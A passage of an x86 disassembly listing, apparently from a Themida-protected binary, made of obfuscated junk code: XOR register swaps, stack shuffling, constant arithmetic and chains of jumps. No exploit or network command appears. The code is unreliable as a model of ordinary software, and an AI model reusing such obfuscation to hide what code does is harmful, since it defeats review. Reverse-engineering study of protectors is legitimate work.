sub eax, 0D955130h
jmp loc_56F9A3
; ---------------------------------------------------------------------------
loc_56DB58: ; CODE XREF: Themida_:0055FDACj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push edx
mov edx, 40h
push edi
jmp loc_569A15
; ---------------------------------------------------------------------------
loc_56DB70: ; CODE XREF: Themida_:00569236j
mov al, bl
mov bl, dl
mov dl, al
pop eax
sub dl, 64h
add al, dl
pop edx
add al, 0D2h
sub al, 0C7h
sub al, ch
push ebx
mov bh, 42h
shl bh, 2
dec bh
neg bh
and bh, 0FCh
jmp loc_55DD6A
; ---------------------------------------------------------------------------
loc_56DB95: ; CODE XREF: Themida_:005607D5j
mov edi, esp
add edi, 4
push esi
jmp loc_56636A
; ---------------------------------------------------------------------------
loc_56DBA3: ; CODE XREF: Themida_:0056F8B2j
push ebp
mov ebp, 4
add ebx, ebp
jmp loc_56B608
; ---------------------------------------------------------------------------
loc_56DBB0: ; CODE XREF: Themida_:0056DD06j
sub eax, 90160FFh
jmp loc_570005
; ---------------------------------------------------------------------------
loc_56DBBA: ; CODE XREF: Themida_:00564F1Cj
mov bl, 5Fh
mov cl, 42h
xor cl, bl
pop ebx
add bl, 22h
add bl, cl
sub bl, 22h
mov cx, [esp]
add esp, 2
add bl, ch
sub bl, 1Dh
mov cx, [esp]
add esp, 2
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_569706
; ---------------------------------------------------------------------------
loc_56DBED: ; CODE XREF: Themida_:00562A31j
add edi, eax
pop eax
mov ebx, edi
pop edi
add edi, ebx
push dword ptr [esp]
jmp loc_5728A2
; ---------------------------------------------------------------------------
loc_56DBFD: ; CODE XREF: Themida_:0056B2BEj
not esi
and esi, 652359D7h
shl esi, 6
dec esi
sub esp, 4
jmp loc_56EDD3
; ---------------------------------------------------------------------------
loc_56DC11: ; CODE XREF: Themida_:0056F277j
add esp, 4
sub ebp, 2
xchg ebp, [esp]
jmp loc_5656B4
; ---------------------------------------------------------------------------
loc_56DC22: ; CODE XREF: Themida_:0056998Dj
sub ecx, ebx
mov ebx, [esp]
add esp, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56DC55: ; CODE XREF: Themida_:005613A3j
add ebp, 0AEAEF904h
xor edi, ebp
pop ebp
push edx
mov edx, 71036007h
xor edi, edx
pop edx
xor eax, edi
mov edi, [esp]
jmp loc_5601BD
; ---------------------------------------------------------------------------
loc_56DC71: ; CODE XREF: Themida_:00568920j
push bp
mov bp, 57BFh
sub [esp+4], bp
pop bp
pop si
jmp loc_568A4E
; ---------------------------------------------------------------------------
loc_56DC85: ; CODE XREF: Themida_:0055DA43j
sub edx, 19D1B74h
and [edi+1Ch], edx
pop edx
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56DC94: ; CODE XREF: Themida_:0056C835j
add edi, 270A5B00h
pop ecx
add edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_567DD8
; ---------------------------------------------------------------------------
loc_56DCAB: ; CODE XREF: Themida_:0056F88Aj
mov esp, [esp]
mov [esp], cx
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56DCB7: ; CODE XREF: Themida_:0056D615j
mov ecx, 0AAEB886Eh
sub eax, 657B18D7h
add eax, ecx
add eax, 657B18D7h
jmp loc_564836
; ---------------------------------------------------------------------------
loc_56DCCD: ; CODE XREF: Themida_:00560B9Cj
add al, cl
pop ecx
sub esp, 4
mov [esp], ebx
push eax
mov al, 6Eh
sub esp, 4
mov [esp], edx
mov dl, al
mov bl, dl
jmp loc_569DBD
; ---------------------------------------------------------------------------
loc_56DCEB: ; CODE XREF: Themida_:0056E5F6j
pop edi
xchg ecx, [esp]
jmp loc_5606C9
; ---------------------------------------------------------------------------
loc_56DCF4: ; CODE XREF: Themida_:0055F06Dj
mov [esp], ebp
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
pop ebp
xor ebp, 0E2CD37F9h
jmp loc_56DBB0
; ---------------------------------------------------------------------------
loc_56DD0B: ; CODE XREF: Themida_:0055EADBj
add ecx, 64031E89h
add ecx, 2D2E2E99h
pop edx
push esi
jmp loc_56B2A7
; ---------------------------------------------------------------------------
loc_56DD1E: ; CODE XREF: Themida_:00564712j
push esi
mov esi, 50181B28h
sub eax, esi
pop esi
jmp loc_565C50
; ---------------------------------------------------------------------------
loc_56DD2C: ; CODE XREF: Themida_:0055E6FAj
push eax
jmp loc_564DDC
; ---------------------------------------------------------------------------
loc_56DD32: ; CODE XREF: Themida_:0056B7A8j
push esp
pop edi
add edi, 4
jmp loc_566ED3
; ---------------------------------------------------------------------------
loc_56DD3F: ; CODE XREF: Themida_:00570499j
and [esp], ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56DD49: ; CODE XREF: Themida_:005705F2j
push 1FC0h
mov [esp], edx
jmp loc_57024A
; ---------------------------------------------------------------------------
loc_56DD56: ; CODE XREF: Themida_:00570000j
pop edi
pop ebp
add eax, edi
jmp loc_56D0DC
; ---------------------------------------------------------------------------
loc_56DD5F: ; CODE XREF: Themida_:0055E108j
pop ebx
mov ebp, [esp]
add esp, 4
jmp loc_56B897
; ---------------------------------------------------------------------------
loc_56DD6B: ; CODE XREF: Themida_:0055D940j
pop edi
or edi, 546E63F9h
dec edi
jmp loc_55ECD8
; ---------------------------------------------------------------------------
loc_56DD78: ; CODE XREF: Themida_:0056455Bj
mov esi, 3DDD1AC1h
not esi
jmp loc_56E939
; ---------------------------------------------------------------------------
loc_56DD84: ; CODE XREF: Themida_:0056CF75j
mov ebp, 454C7F6Ah
jmp loc_56B019
; ---------------------------------------------------------------------------
loc_56DD8E: ; CODE XREF: Themida_:00563916j
sub ebx, 4
xchg ebx, [esp]
jmp loc_56234D
; ---------------------------------------------------------------------------
loc_56DD9C: ; CODE XREF: Themida_:0056E90Cj
add ebp, 103D09A6h
push ebx
mov ebx, 5DAB6DB7h
add ebp, ebx
pop ebx
add ebp, 65ABA96Dh
jmp loc_5629F2
; ---------------------------------------------------------------------------
loc_56DDB6: ; CODE XREF: Themida_:00569670j
pop esi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_5721E4
; ---------------------------------------------------------------------------
loc_56DDC6: ; CODE XREF: Themida_:00565336j
pop edi
xchg edx, [esp]
jmp loc_5660EE
; ---------------------------------------------------------------------------
loc_56DDCF: ; CODE XREF: Themida_:00560648j
mov eax, esp
push ebx
mov ebx, 4
add eax, ebx
pop ebx
push ecx
jmp loc_56A520
; ---------------------------------------------------------------------------
loc_56DDE0: ; CODE XREF: Themida_:0056B55Cj
add ecx, 4
jmp loc_56C465
; ---------------------------------------------------------------------------
loc_56DDEB: ; CODE XREF: Themida_:00568B61j
pop ebp
xor eax, 6E323D85h
jmp loc_56B4A2
; ---------------------------------------------------------------------------
loc_56DDF6: ; CODE XREF: Themida_:0056037Ej
pop ebx
add esp, 4
add esi, ebp
pop ebp
add esi, 4
xchg esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
mov esi, 8412D84h
shl esi, 8
not esi
push ecx
jmp loc_564BEB
; ---------------------------------------------------------------------------
loc_56DE1F: ; CODE XREF: Themida_:00569F10j
push edi
push ebx
mov ebx, 670725C9h
neg ebx
push edi
mov edi, 5C1A60C8h
xor ebx, edi
pop edi
jmp loc_56869B
; ---------------------------------------------------------------------------
loc_56DE36: ; CODE XREF: Themida_:00568444j
add esp, 4
sub edx, 584F2827h
add edx, 4DDE5839h
add ecx, 77713F47h
add ecx, 76882823h
add ecx, edx
sub ecx, 76882823h
jmp loc_5723AD
; ---------------------------------------------------------------------------
loc_56DE61: ; CODE XREF: Themida_:00571F61j
add edi, esi
pop esi
jmp loc_5711D4
; ---------------------------------------------------------------------------
loc_56DE69: ; CODE XREF: Themida_:0056562Bj
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_56C7F9
; ---------------------------------------------------------------------------
loc_56DE79: ; CODE XREF: Themida_:0056A1AFj
push ebx
mov ebx, 561F58F4h
neg ebx
shr ebx, 1
jmp loc_569D82
; ---------------------------------------------------------------------------
loc_56DE88: ; CODE XREF: Themida_:0055ED9Bj
mov ebx, 631B5371h
add eax, ebx
pop ebx
jmp loc_561B57
; ---------------------------------------------------------------------------
loc_56DE95: ; CODE XREF: Themida_:0056D855j
pop ebp
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
push ecx
push ebp
mov ebp, 4
jmp loc_56F090
; ---------------------------------------------------------------------------
loc_56DEAB: ; CODE XREF: Themida_:00570B2Ej
sub edx, 4528760Dh
pop edi
xor edx, [esp]
jmp loc_56143C
; ---------------------------------------------------------------------------
loc_56DEBA: ; CODE XREF: Themida_:00561FF1j
xor cl, bh
pop ebx
jmp loc_56291A
; ---------------------------------------------------------------------------
loc_56DEC2: ; CODE XREF: Themida_:0056EBFDj
mov eax, [esp]
add esp, 4
push edx
jmp loc_56EC8E
; ---------------------------------------------------------------------------
loc_56DED1: ; CODE XREF: Themida_:0056E395j
pop ebx
pop dword ptr [esp]
jmp loc_560278
; ---------------------------------------------------------------------------
loc_56DEDA: ; CODE XREF: Themida_:0056ADC4j
push ebx
mov bh, 87h
add bh, 13h
push ecx
mov ch, 45h
jmp loc_56C761
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_56DEE8: ; CODE XREF: sub_562A0A+2144j
mov cl, 49h
sub cl, 7
sub cl, 0D9h
push 2E13h
mov [esp+8+var_8], eax
mov ah, 0BCh
shr ah, 7
not ah
jmp loc_56C847
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_56DF04: ; CODE XREF: Themida_:0056F7C0j
add ecx, ebp
jmp loc_55F3E8
; ---------------------------------------------------------------------------
loc_56DF0B: ; CODE XREF: Themida_:00571C2Bj
mov [esp], ebp
push 4DD732A0h
mov ebp, [esp]
add esp, 4
or ebp, 56333CF3h
add ebp, 1
not ebp
push edi
push esi
mov esi, 0DB01D98Dh
mov edi, esi
jmp loc_566AF7
; ---------------------------------------------------------------------------
loc_56DF35: ; CODE XREF: Themida_:00570436j
and edi, 1AD10029h
jmp loc_56FB9F
; ---------------------------------------------------------------------------
loc_56DF40: ; CODE XREF: Themida_:005626B6j
push edx
jmp loc_564DAC
; ---------------------------------------------------------------------------
loc_56DF46: ; CODE XREF: Themida_:0056F4FFj
mov bl, 34h
xor bl, ah
pop eax
mov cl, bl
pop ebx
jmp loc_56B9E2
; ---------------------------------------------------------------------------
loc_56DF53: ; CODE XREF: Themida_:005706B1j
add esp, 4
jmp loc_56FBF3
; ---------------------------------------------------------------------------
loc_56DF5E: ; CODE XREF: Themida_:0056E2F3j
mov eax, ecx
pop ecx
add esi, eax
jmp loc_572119
; ---------------------------------------------------------------------------
loc_56DF68: ; CODE XREF: Themida_:005704CDj
mov edi, [esp]
push eax
mov eax, esp
jmp loc_570848
; ---------------------------------------------------------------------------
loc_56DF73: ; CODE XREF: Themida_:0055FD9Fj
pop esi
push ebp
xor dword ptr [esp], 202B7A80h
pop edi
xor edi, 202B7A80h
pop ebp
add ebx, edi
jmp loc_5646DE
; ---------------------------------------------------------------------------
loc_56DF8B: ; CODE XREF: Themida_:005666FEj
sub eax, 3289031Bh
sub eax, 0E4342E7h
sub eax, 0C31D2BCCh
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
add bl, 4Eh
push ecx
mov cl, 0A4h
add bl, 7Ch
add bl, 0E0h
jmp loc_55D3D1
; ---------------------------------------------------------------------------
mov cx, [esp]
push 7642h
mov [esp], edi
mov edi, esp
add edi, 4
push eax
mov eax, 765A49A5h
jmp loc_56BB73
; ---------------------------------------------------------------------------
loc_56DFD1: ; CODE XREF: Themida_:0056EE40j
sub ecx, 3933B77h
sub ecx, edx
add ecx, 3933B77h
pop edx
add ebp, ecx
mov ecx, [esp]
push ebp
jmp loc_56FB3C
; ---------------------------------------------------------------------------
loc_56DFEB: ; CODE XREF: Themida_:0056EE6Bj
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_566108
; ---------------------------------------------------------------------------
loc_56E007: ; CODE XREF: Themida_:005707E4j
pop eax
sub esp, 4
mov [esp], edx
push ecx
push 6A536116h
jmp loc_567303
; ---------------------------------------------------------------------------
loc_56E01C: ; CODE XREF: Themida_:00560273j
pop esi
push ecx
jmp loc_569582
; ---------------------------------------------------------------------------
loc_56E023: ; CODE XREF: Themida_:0056D549j
sub al, 6Bh
jmp loc_565003
; ---------------------------------------------------------------------------
loc_56E02A: ; CODE XREF: Themida_:005629A7j
or ebp, 281C5059h
xor ebp, 26882FC6h
push ecx
mov ecx, 599105DCh
shr ecx, 8
xor ecx, 5F4A0DC8h
shr ecx, 2
xor ecx, 0B72B22Ah
sub ebp, ecx
jmp loc_56627D
; ---------------------------------------------------------------------------
loc_56E055: ; CODE XREF: Themida_:00567C0Cj
mov [esp], eax
jmp loc_568821
; ---------------------------------------------------------------------------
loc_56E05D: ; CODE XREF: Themida_:0056577Dj
ror word ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56E067: ; CODE XREF: Themida_:00571908j
sub esp, 4
jmp loc_561510
; ---------------------------------------------------------------------------
loc_56E072: ; CODE XREF: Themida_:00569C63j
pop dword ptr [esp]
pop esp
mov [esp], ebx
mov ebx, esp
jmp loc_563910
; ---------------------------------------------------------------------------
loc_56E080: ; CODE XREF: Themida_:005680B0j
inc edx
inc edx
sub edx, 3CE55387h
dec edx
jmp loc_56591E
; ---------------------------------------------------------------------------
loc_56E08E: ; CODE XREF: Themida_:0055E066j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub bl, al
sub bl, 0A4h
sub bl, 4Eh
add bl, 74h
push ebp
push esi
push 563F01ABh
jmp loc_56EE1D
; ---------------------------------------------------------------------------
loc_56E0B3: ; CODE XREF: Themida_:005606ADj
not ecx
jmp loc_56054C
; ---------------------------------------------------------------------------
loc_56E0BA: ; CODE XREF: Themida_:005688A4j
mov [esp], ebp
push ebp
push 42BDh
mov [esp], esp
push ebp
mov ebp, 4
jmp loc_567AE7
; ---------------------------------------------------------------------------
loc_56E0D1: ; CODE XREF: Themida_:0056B808j
push 543Bh
mov [esp], esi
push ecx
push edx
mov edx, 1510982h
mov ecx, 0A2772C3h
jmp loc_564B14
; ---------------------------------------------------------------------------
loc_56E0EA: ; CODE XREF: Themida_:00568B45j
pop eax
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_56D119
; ---------------------------------------------------------------------------
loc_56E103: ; CODE XREF: Themida_:0056635Aj
not edx
add edx, 0FFFFFFFFh
inc edx
sub edx, 7F369058h
mov ebx, edx
jmp loc_56ED61
; ---------------------------------------------------------------------------
loc_56E119: ; CODE XREF: Themida_:005646FDj
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_55DCC0
; ---------------------------------------------------------------------------
loc_56E125: ; CODE XREF: Themida_:00562086j
xchg ebp, [esp]
pop esp
jmp loc_56876F
; ---------------------------------------------------------------------------
loc_56E12E: ; CODE XREF: Themida_:0056B189j
mov [esp], esp
push ecx
mov ecx, 633065D1h
jmp loc_5650F7
; ---------------------------------------------------------------------------
loc_56E13C: ; CODE XREF: Themida_:005674DEj
sub al, 51h
sub esp, 4
mov [esp], ecx
mov ch, 69h
and ch, 0DDh
jmp loc_56196C
; ---------------------------------------------------------------------------
loc_56E151: ; CODE XREF: Themida_:0055E6DDj
shr ecx, 7
add ecx, 0FF0AD137h
jmp loc_5668D1
; ---------------------------------------------------------------------------
loc_56E15F: ; CODE XREF: Themida_:00563EC9j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], edx
sub esp, 4
mov [esp], edi
mov edi, ebx
push 3BE4h
jmp loc_55DFD8
; ---------------------------------------------------------------------------
loc_56E192: ; CODE XREF: Themida_:0056EAE6j
bts [esp], ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56E19D: ; CODE XREF: Themida_:00567604j
add esi, 4
jmp loc_55D31E
; ---------------------------------------------------------------------------
loc_56E1A8: ; CODE XREF: Themida_:0056213Aj
sub edx, ecx
add edx, 5A877A1h
mov ecx, [esp]
jmp loc_55FBBA
; ---------------------------------------------------------------------------
loc_56E1B8: ; CODE XREF: Themida_:005671F4j
add esp, 4
add esi, 4
xchg esi, [esp]
jmp loc_56CE37
; ---------------------------------------------------------------------------
loc_56E1C9: ; CODE XREF: Themida_:00571D42j
not ecx
xchg ecx, edi
jmp loc_560AB7
; ---------------------------------------------------------------------------
loc_56E1D2: ; CODE XREF: Themida_:0056E899j
push ebp
mov ebp, 4
add edx, 25163A13h
sub edx, 4F7D3462h
sub edx, ebp
jmp loc_561910
; ---------------------------------------------------------------------------
loc_56E1EB: ; CODE XREF: Themida_:0056F538j
dec ebp
not ebp
shl ebp, 7
inc ebp
add ebp, 8893DB03h
jmp loc_55E75F
; ---------------------------------------------------------------------------
loc_56E1FD: ; CODE XREF: Themida_:0055D596j
push esi
jmp loc_571454
; ---------------------------------------------------------------------------
loc_56E203: ; CODE XREF: Themida_:00568F4Ej
push esp
pop eax
add eax, 4
add eax, 4
jmp loc_56D9FF
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
push esi
mov esi, 0A053C89h
push edi
mov edi, 0AE42964h
sub edi, 0BF658CAh
sub edi, 0F4E89415h
sub esi, edi
pop edi
sub ebp, 0EE56F69h
add ebp, esi
add ebp, 0EE56F69h
pop esi
jmp loc_560DC0
; ---------------------------------------------------------------------------
loc_56E255: ; CODE XREF: Themida_:005605D7j
mov [esp], ebp
push esp
pop ebp
push edx
push 891h
mov [esp], ebx
mov ebx, 41A61E73h
jmp loc_5709EC
; ---------------------------------------------------------------------------
loc_56E26D: ; CODE XREF: Themida_:00561C83j
not dword ptr [esp]
jmp loc_56F9C9
; ---------------------------------------------------------------------------
loc_56E275: ; CODE XREF: Themida_:00566018j
xchg edi, ebp
not edi
xchg edi, ebp
sub ebp, 9E8CBA1Ch
sub ebx, 462144CEh
push edi
mov edi, 59E2377Eh
and edi, 70D57369h
xor edi, 40A32A1Eh
add ebx, edi
jmp loc_56E35D
; ---------------------------------------------------------------------------
loc_56E2A0: ; CODE XREF: Themida_:0055D695j
add eax, ebx
add eax, 58E82A00h
jmp loc_55D4FB
; ---------------------------------------------------------------------------
loc_56E2AC: ; CODE XREF: Themida_:0056E9F8j
sub ebx, ebp
pop ebp
add ebx, 462144CEh
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 4
add ecx, eax
jmp loc_567AF8
; ---------------------------------------------------------------------------
loc_56E2CE: ; CODE XREF: Themida_:00562EF4j
pop ebx
add al, dl
sub al, 0CEh
jmp loc_56AC0D
; ---------------------------------------------------------------------------
loc_56E2D8: ; CODE XREF: Themida_:005654F1j
shr esi, 1
neg esi
add esi, 38EED180h
and edx, esi
pop esi
jmp loc_566575
; ---------------------------------------------------------------------------
loc_56E2EA: ; CODE XREF: Themida_:0056CF0Cj
add ecx, 0FFFFFFFFh
sub ecx, 1F17529Ch
jmp loc_56DF5E
; ---------------------------------------------------------------------------
loc_56E2F8: ; CODE XREF: Themida_:005635E7j
mov cl, 0DCh
shr cl, 6
shl cl, 6
sub cl, 1
jmp loc_55F8FA
; ---------------------------------------------------------------------------
loc_56E308: ; CODE XREF: Themida_:005664C1j
mov esp, [esp]
push ebx
sub esp, 4
mov [esp], edx
mov dh, al
mov bl, dh
push dword ptr [esp]
pop edx
push edx
mov edx, esp
push ecx
mov ecx, 4
sub edx, 4F5201B6h
jmp loc_55D543
; ---------------------------------------------------------------------------
loc_56E331: ; CODE XREF: Themida_:005616B5j
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
push edi
push 1588h
mov [esp], eax
jmp loc_5632A1
; ---------------------------------------------------------------------------
loc_56E35D: ; CODE XREF: Themida_:0056E29Bj
pop edi
add ebx, ebp
push ebp
jmp loc_56BB55
; ---------------------------------------------------------------------------
loc_56E366: ; CODE XREF: Themida_:005698F0j
neg ebx
not ebx
push esi
jmp loc_55EE8A
; ---------------------------------------------------------------------------
loc_56E370: ; CODE XREF: Themida_:0055DA91j
mov dl, 0E9h
push ecx
sub esp, 4
jmp loc_570CCE
; ---------------------------------------------------------------------------
loc_56E37B: ; CODE XREF: Themida_:005633D1j
xchg edi, ebp
not edi
xchg edi, ebp
xor ebp, 0F137FDA1h
add ebx, ebp
pop ebp
pop ecx
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
jmp loc_56DED1
; ---------------------------------------------------------------------------
loc_56E39A: ; CODE XREF: Themida_:005683CAj
pop edx
sub dword ptr [esp+4], 5BD55E20h
push ecx
mov ecx, 71E705C9h
sub dword ptr [esp+8], 0FAA0016h
add [esp+8], ecx
add dword ptr [esp+8], 0FAA0016h
jmp loc_568286
; ---------------------------------------------------------------------------
loc_56E3C2: ; CODE XREF: Themida_:0056373Bj
pop edi
xor eax, esi
pop esi
push esi
mov esi, 6747A630h
sub eax, esi
mov esi, [esp]
jmp loc_5673A9
; ---------------------------------------------------------------------------
loc_56E3D6: ; CODE XREF: Themida_:0056BD13j
push edi
jmp loc_565996
; ---------------------------------------------------------------------------
loc_56E3DC: ; CODE XREF: Themida_:0056B3D7j
push eax
mov eax, 7351016Eh
shl eax, 3
xor eax, 0FFF713F2h
xor ebx, eax
pop eax
shr ebx, 7
dec ebx
jmp loc_56241C
; ---------------------------------------------------------------------------
lodsd
push ecx
push esi
mov esi, 1DDF2328h
mov ecx, 0E314045h
add ecx, 32130ABBh
add ecx, esi
jmp loc_5670EB
; ---------------------------------------------------------------------------
loc_56E410: ; CODE XREF: Themida_:0056A3A3j
pop esp
jmp loc_561435
; ---------------------------------------------------------------------------
loc_56E416: ; CODE XREF: Themida_:00565111j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ebp
jmp loc_569EF2
; ---------------------------------------------------------------------------
loc_56E429: ; CODE XREF: Themida_:00567B3Aj
push esp
pop ebx
jmp loc_568BB6
; ---------------------------------------------------------------------------
loc_56E430: ; CODE XREF: Themida_:005657F3j
sub dword ptr [esp+4], 45B04FB4h
sub dword ptr [esp+4], 31B10174h
jmp loc_572356
; ---------------------------------------------------------------------------
loc_56E445: ; CODE XREF: Themida_:0055E513j
pop eax
jmp loc_560F48
; ---------------------------------------------------------------------------
add dword ptr [esp], 4
pop ebp
push esi
mov esi, 4
add ebp, esi
pop esi
push 3456h
mov [esp], eax
push ebp
push eax
mov eax, 47A66E27h
shl eax, 4
and eax, 6CF80ACAh
not eax
xor eax, 0EBC9FCFDh
push edx
mov edx, eax
mov ebp, edx
pop edx
pop eax
xor ebp, 362249B4h
shl ebp, 2
push ebx
mov ebx, 47272C9Bh
xor ebp, ebx
pop ebx
jmp loc_5695DA
; ---------------------------------------------------------------------------
loc_56E495: ; CODE XREF: Themida_:0056E51Ej
shr ecx, 3
jmp loc_56EF89
; ---------------------------------------------------------------------------
loc_56E49D: ; CODE XREF: Themida_:005648EEj
mov [esp], ebx
push 7F50h
push 0B1h
jmp loc_56ABDA
; ---------------------------------------------------------------------------
loc_56E4AF: ; CODE XREF: Themida_:0056C9E4j
mov [esp], edi
sub esp, 4
mov [esp], ecx
jmp loc_55FBE9
; ---------------------------------------------------------------------------
loc_56E4BD: ; CODE XREF: Themida_:00566656j
push dword ptr [esp]
jmp loc_56AEB8
; ---------------------------------------------------------------------------
loc_56E4C5: ; CODE XREF: Themida_:0056D122j
mov edx, [esp]
add esp, 4
pop eax
pop ecx
or ch, bh
mov ebx, [esp]
push 52B3h
jmp loc_56A4EC
; ---------------------------------------------------------------------------
loc_56E4DF: ; CODE XREF: Themida_:005682D7j
mov edx, 13BF6A77h
jmp loc_5659B7
; ---------------------------------------------------------------------------
loc_56E4E9: ; CODE XREF: Themida_:00564030j
pop edx
xchg ebx, [esp]
mov esp, [esp]
push 5EEh
mov [esp], ecx
mov ecx, 0
push esi
mov esi, 6289714Eh
xor esi, 37C80820h
jmp loc_56737C
; ---------------------------------------------------------------------------
loc_56E50E: ; CODE XREF: Themida_:005670FBj
add edx, edi
pop edi
push esi
push 756D7991h
pop esi
push ecx
mov ecx, 0B50A6Dh
jmp loc_56E495
; ---------------------------------------------------------------------------
loc_56E523: ; CODE XREF: Themida_:005682AAj
sub bl, al
push 449Dh
mov [esp], edx
push eax
mov ah, 40h
mov dl, ah
pop eax
shl dl, 1
push cx
mov cl, 41h
jmp loc_5688FB
; ---------------------------------------------------------------------------
loc_56E53E: ; CODE XREF: Themida_:005659D4j
mov ch, 9Fh
add bh, ch
mov ecx, [esp]
sub esp, 4
jmp loc_56F340
; ---------------------------------------------------------------------------
loc_56E54D: ; CODE XREF: Themida_:00563A62j
neg esi
or esi, 1E2622A6h
add esi, 880809h
add edx, esi
mov esi, [esp]
add esp, 4
push ecx
push edi
mov edi, 77A3473Fh
push edi
pop ecx
pop edi
shr ecx, 6
push edx
mov edx, 74580C41h
neg edx
jmp loc_5604E9
; ---------------------------------------------------------------------------
loc_56E580: ; CODE XREF: Themida_:0056C4C0j
mov esi, edx
pop edx
sub esi, 3E701BB5h
xor esi, 0E799DF08h
jmp loc_56FF0B
; ---------------------------------------------------------------------------
loc_56E594: ; CODE XREF: Themida_:00564D21j
shr edi, 3
jmp loc_572227
; ---------------------------------------------------------------------------
loc_56E59C: ; CODE XREF: Themida_:0056A83Fj
mov dh, bl
pop ebx
xchg dh, al
xchg al, cl
xor bl, cl
xor cl, bl
xor bl, cl
push ecx
sub esp, 4
mov [esp], edx
mov dh, bl
push 4E34h
mov [esp], ebx
mov bl, dh
mov cl, bl
jmp loc_56A9AC
; ---------------------------------------------------------------------------
loc_56E5C3: ; CODE XREF: Themida_:00562429j
sub esp, 4
mov [esp], ebp
mov ebp, 49D14CFCh
and ebp, 27F01C1Bh
push eax
mov eax, 13A50E27h
add ebp, 26254DC6h
jmp loc_572176
; ---------------------------------------------------------------------------
loc_56E5E5: ; CODE XREF: Themida_:00562F05j
mov esp, [esp]
push ebp
jmp loc_55DF95
; ---------------------------------------------------------------------------
loc_56E5EE: ; CODE XREF: Themida_:0056D5D4j
push edi
mov edi, 4
add ecx, edi
jmp loc_56DCEB
; ---------------------------------------------------------------------------
loc_56E5FB: ; CODE XREF: Themida_:00561C44j
sub esi, 1
jmp loc_571C6F
; ---------------------------------------------------------------------------
loc_56E603: ; CODE XREF: Themida_:0055F919j
mov al, dh
pop edx
push edx
jmp loc_56EB1B
; ---------------------------------------------------------------------------
loc_56E60C: ; CODE XREF: Themida_:00568434j
add ebx, 23EF4B50h
inc ebx
jmp loc_5692AE
; ---------------------------------------------------------------------------
loc_56E618: ; CODE XREF: Themida_:0055F54Cj
mov edx, [esp]
jmp loc_565116
; ---------------------------------------------------------------------------
loc_56E620: ; CODE XREF: Themida_:0055F299j
shl cl, 3
shl cl, 1
neg cl
shr cl, 8
xor cl, 0C4h
sub cl, 0C0h
sub cl, ah
add cl, 0C0h
pop eax
shl cl, 7
or cl, 0FBh
and cl, 46h
inc cl
shr cl, 7
add cl, 0D1h
neg cl
add cl, 41h
push ebx
mov bh, 7Dh
inc bh
dec bh
jmp loc_56FAA2
; ---------------------------------------------------------------------------
loc_56E658: ; CODE XREF: Themida_:00561F8Cj
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
add esp, 4
push ecx
mov ecx, 972B1916h
push edx
mov edx, 78807878h
jmp loc_566909
; ---------------------------------------------------------------------------
loc_56E679: ; CODE XREF: Themida_:0056D148j
pop ebp
xchg esi, [esp]
pop esp
not edi
shr edi, 6
sub edi, 1
push 727Ch
mov [esp], eax
mov eax, 15FE7A83h
jmp loc_5721C2
; ---------------------------------------------------------------------------
loc_56E698: ; CODE XREF: Themida_:0056CCC3j
mov eax, 3C5B45C3h
xor eax, 1261AE8h
add ebp, eax
pop eax
jmp loc_563F17
; ---------------------------------------------------------------------------
loc_56E6AA: ; CODE XREF: Themida_:0056DA19j
add esp, 4
push dword ptr [esp]
mov eax, [esp]
push 5C62h
mov [esp], edx
jmp loc_56F5B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571676
loc_56E6C3: ; CODE XREF: sub_571676+3j
mov [esp+0], edx
jmp sub_55DEE3
; END OF FUNCTION CHUNK FOR sub_571676
; ---------------------------------------------------------------------------
loc_56E6CB: ; CODE XREF: Themida_:00571FA7j
mov ebp, 40C84C97h
not ebp
sub ebp, 5D3799FAh
jmp loc_570AC5
; ---------------------------------------------------------------------------
loc_56E6DD: ; CODE XREF: Themida_:00565C3Bj
sub edi, 248F47E2h
push esi
mov esi, 68F646BBh
or esi, 7AF3330Bh
add esi, 9CF0AB3Eh
add edi, esi
pop esi
push dword ptr [esp]
pop ebx
push edx
mov edx, esp
jmp loc_55D929
; ---------------------------------------------------------------------------
loc_56E704: ; CODE XREF: Themida_:0056D519j
mov edi, [esp]
jmp loc_56426B
; ---------------------------------------------------------------------------
loc_56E70C: ; CODE XREF: Themida_:0056C8F4j
add dl, 20h
xor ch, dl
pop edx
xor al, ch
mov ecx, [esp]
add esp, 4
push eax
